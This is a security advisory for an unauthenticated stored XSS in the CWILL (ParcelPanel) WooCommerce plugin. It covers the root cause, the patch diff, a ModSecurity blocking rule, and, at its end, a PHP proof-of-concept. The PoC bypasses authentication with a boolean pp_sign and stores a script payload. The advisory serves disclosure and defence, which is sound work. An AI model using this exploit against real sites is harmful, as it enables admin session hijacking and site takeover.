Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-121790: This is an unauthenticated stored cross-site scripting vulnerability in the CWILL (formerly ParcelPanel) WooCommerce plugin, affecting versions up to and including 4.6.2. The flaw resides in the REST API authentication bypass and subsequent storage of unsanitized user input in the tracking number and courier code fields. Atomic Edge research assigns a CVSS score of 7.2 (High) with CWE-79.
The root cause is twofold. First, in `includes/Api/RestApi.php` at approximately line 247, the authentication check uses loose comparison `$sign == md5(…)`. When `$sign` is supplied as the JSON boolean true, PHP’s loose `==` operator coerces it to the string “1”, which evaluates as true against any non-empty string (the md5 hash). This allows an unauthenticated attacker to bypass the intended API key check. Second, in `includes/Api/Admin/AdminShipment.php` around lines 193-195, the `$courier_code` and `$tracking_number` parameters are read directly from `$parsed_data` without any sanitization, and later stored in the database. When these values are output in `includes/Action/ShopOrder.php` lines 169-181 via `wp_json_encode` without the `JSON_HEX_TAG` and related flags, an attacker-controlled payload that includes a closing “ tag breaks out of the script context and executes arbitrary JavaScript.
An attacker sends an HTTP POST request to the vulnerable REST endpoint with a JSON body containing `pp_sign` as boolean true, along with malicious values for `data[].courier_code` or `data[].tracking_number` such as `alert(1)`. The API request bypasses authentication, stores the payload in the `wp_parcelpanel_tracking` table, and later when an administrator views the order details page, the unsanitized value is echoed inside a “ tag, triggering execution. The exact endpoint can be inferred as the plugin’s REST route for adding tracking numbers, likely `/wp-json/parcelpanel/v1/tracking` or similar. The payload executes in the context of the admin user’s browser.
The patch fixes both issues. In `RestApi.php`, the authentication check now uses `hash_equals` and strict type checks: `is_string($token) && $token !== ” && is_string($sign) && hash_equals(md5(“{$t}{$token}”), $sign)`, which prevents the boolean true bypass because `is_string($sign)` fails. In `AdminShipment.php`, both `courier_code` and `tracking_number` are passed through `sanitize_text_field()` before use. In `ShopOrder.php`, the `wp_json_encode` calls now include `JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT` flags, which encode “, `&`, `’` and `”` into Unicode escape sequences, preventing script breakout. The patch also increments the plugin version to 4.6.3.
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an authenticated administrator when the admin views the affected order page. This can lead to session hijacking, creation of malicious admin accounts, installation of backdoors, or full site compromise. The stored nature means the payload persists until manually removed. Atomic Edge analysis rates the impact as high due to the potential for complete site takeover.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/parcelpanel/includes/Action/ShopOrder.php
+++ b/parcelpanel/includes/Action/ShopOrder.php
@@ -169,7 +169,7 @@
echo '<button class="components-button pp-button is-primary" id="pp-tk-btn-show-form" type="button">' . esc_html__('Add tracking number', 'parcelpanel') . '</button>';
- echo '<script>var parcelpanel_admin_wc_meta_boxes_shipments=' . wp_json_encode(['shipments' => $shipment_items]) . ';</script>';
+ echo '<script>var parcelpanel_admin_wc_meta_boxes_shipments=' . wp_json_encode(['shipments' => $shipment_items], JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ';</script>';
}
// compatible with HPOS
@@ -181,7 +181,7 @@
echo '<button class="components-button pp-button is-primary" id="pp-tk-btn-show-form" type="button">' . esc_html__('Add tracking number', 'parcelpanel') . '</button>';
- echo '<script>var parcelpanel_admin_wc_meta_boxes_shipments=' . wp_json_encode(['shipments' => $shipment_items]) . ';</script>';
+ echo '<script>var parcelpanel_admin_wc_meta_boxes_shipments=' . wp_json_encode(['shipments' => $shipment_items], JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ';</script>';
}
/**
--- a/parcelpanel/includes/Action/TrackingNumber.php
+++ b/parcelpanel/includes/Action/TrackingNumber.php
@@ -277,7 +277,7 @@
// @codingStandardsIgnoreStart
$placeholder_str = (new ParcelPanelFunction)->parcelpanel_get_prepare_placeholder_str($not_in_ids, '%d');
- // sync_time:[0,2],sync max 3 time;100/time
+ // sync_times: [0, 2], up to 3 attempts; 10 rows per batch.
$tracking_data = $wpdb->get_results(
$wpdb->prepare(
"SELECT DISTINCT ppt.id,ppti.order_id,ppti.order_item_id,ppti.quantity,tracking_number,courier_code,fulfilled_at FROM {$TABLE_TRACKING} AS ppt INNER JOIN {$TABLE_TRACKING_ITEMS} AS ppti ON ppt.id=ppti.tracking_id WHERE ppt.sync_times BETWEEN 0 AND 2 AND ppt.id NOT IN ({$placeholder_str}) AND tracking_number<>'' ORDER BY ppti.order_id ASC LIMIT 10",
@@ -416,6 +416,14 @@
if (is_wp_error($resp) || !is_array($resp)) {
/* api err */
+ $placeholder_str = (new ParcelPanelFunction)->parcelpanel_get_prepare_placeholder_str($tracking_ids, '%d');
+ // Count failed attempts without overwriting a concurrent successful sync.
+ $wpdb->query(
+ $wpdb->prepare(
+ "UPDATE {$TABLE_TRACKING} SET `sync_times` = `sync_times` + 1 WHERE `id` IN ({$placeholder_str}) AND `sync_times` BETWEEN 0 AND 2",
+ $tracking_ids
+ )
+ ); // phpcs:ignore
$is_api_error = true;
continue;
}
@@ -440,7 +448,7 @@
if ($is_api_error) {
// re webhook
- self::schedule_tracking_sync_action(5);
+ self::schedule_tracking_sync_action(60);
return;
}
--- a/parcelpanel/includes/Api/Admin/AdminShipment.php
+++ b/parcelpanel/includes/Api/Admin/AdminShipment.php
@@ -193,9 +193,9 @@
$this->tracking_items = [];
$order_id = $parsed_data['order_id'] ?? 0;
- $courier_code = $parsed_data['courier_code'] ?? '';
+ $courier_code = sanitize_text_field($parsed_data['courier_code'] ?? '');
// $courier_code = (new ParcelPanelFunction)->parcelpanel_get_courier_code_from_name($parsed_data['courier'] ?? '');
- $tracking_number = $parsed_data['tracking_number'] ?? '';
+ $tracking_number = sanitize_text_field($parsed_data['tracking_number'] ?? '');
$fulfilled_at = $this->parse_fulfilled_date_field($parsed_data['date_shipped'] ?? '');
$status_shipped = $parsed_data['status_shipped'] ?? '';
$line_items = $parsed_data['line_items'] ?? [];
--- a/parcelpanel/includes/Api/RestApi.php
+++ b/parcelpanel/includes/Api/RestApi.php
@@ -247,7 +247,7 @@
$token = get_option(ParcelPanelOptionNameAPI_KEY);
- if ($token && $sign == md5("{$t}{$token}")) {
+ if (is_string($token) && $token !== '' && is_string($sign) && hash_equals(md5("{$t}{$token}"), $sign)) {
return true;
}
--- a/parcelpanel/parcelpanel.php
+++ b/parcelpanel/parcelpanel.php
@@ -4,7 +4,7 @@
* Plugin Name: CWILL (formerly ParcelPanel) Order Tracking for WooCommerce
* Plugin URI: https://docs.parcelpanel.com/woocommerce
* Description: The best order tracking plugin specially designed for WooCommerce, driving customer loyalty and more sales by providing the best post-purchase experience.
- * Version: 4.6.2
+ * Version: 4.6.3
* Author: CWILL Order Tracking
* Author URI: https://www.parcelpanel.com
* Developer: CWILL Order Tracking
@@ -20,7 +20,7 @@
* @copyright 2018-2026 CWILL Order Tracking
*/
-define('ParcelPanelVERSION', '4.6.2');
+define('ParcelPanelVERSION', '4.6.3');
define('ParcelPanelDB_VERSION', '2.9.0');
define('ParcelPanelPLUGIN_FILE', __FILE__);
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-121790
SecRule REQUEST_URI "@beginsWith /wp-json/parcelpanel/"
"id:2026121790,phase:2,deny,status:403,chain,msg:'CVE-2026-121790 Unauthenticated Stored XSS via ParcelPanel REST API',severity:'CRITICAL',tag:'CVE-2026-121790'"
SecRule ARGS_POST:pp_sign "@streq true" "chain"
SecRule ARGS_POST:data "@rx <script|javascript:|onerrors*=|onloads*=" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-121790 - CWILL (Formerly ParcelPanel) <= 4.6.2 - Unauthenticated Stored XSS
$target_url = 'http://example.com'; // Change to your WordPress site URL
// Step 1: Bypass authentication by sending pp_sign as boolean true
// The vulnerable endpoint (adjust if needed based on plugin routes)
$endpoint = $target_url . '/wp-json/parcelpanel/v1/tracking';
// Malicious payload for courier_code and tracking_number
$payload = '<script>alert("Atomic Edge XSS");</script>';
// Craft JSON data with boolean true for pp_sign to bypass auth
$data = [
'pp_sign' => true,
'data' => [
[
'order_id' => 1,
'courier_code' => $payload,
'tracking_number' => $payload,
'date_shipped' => date('Y-m-d'),
'status_shipped' => 'shipped',
'line_items' => []
]
]
];
$json = json_encode($data);
$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Content-Length: ' . strlen($json)
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// If successful, the payload is stored. An admin visiting the order page will trigger the XSS.
// Note: You may need to adjust the endpoint path according to the actual plugin REST routes.
// The vulnerability is that the API accepts boolean true for pp_sign and stores unsanitized input.
?>